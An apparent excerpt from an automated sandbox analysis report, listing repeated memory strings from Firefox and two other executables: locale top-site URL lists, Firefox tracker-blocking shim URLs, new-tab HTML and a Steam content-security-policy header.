charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 17:30:29 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: file.exe, 00000000.00000003.2126652942.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.ak equals www.youtube.com (Youtube)
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3053862003.0000025507C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.3053862003.0000025507C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3096434663.0000025509328000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3168469496.00001C9FBA704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.00000255085C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
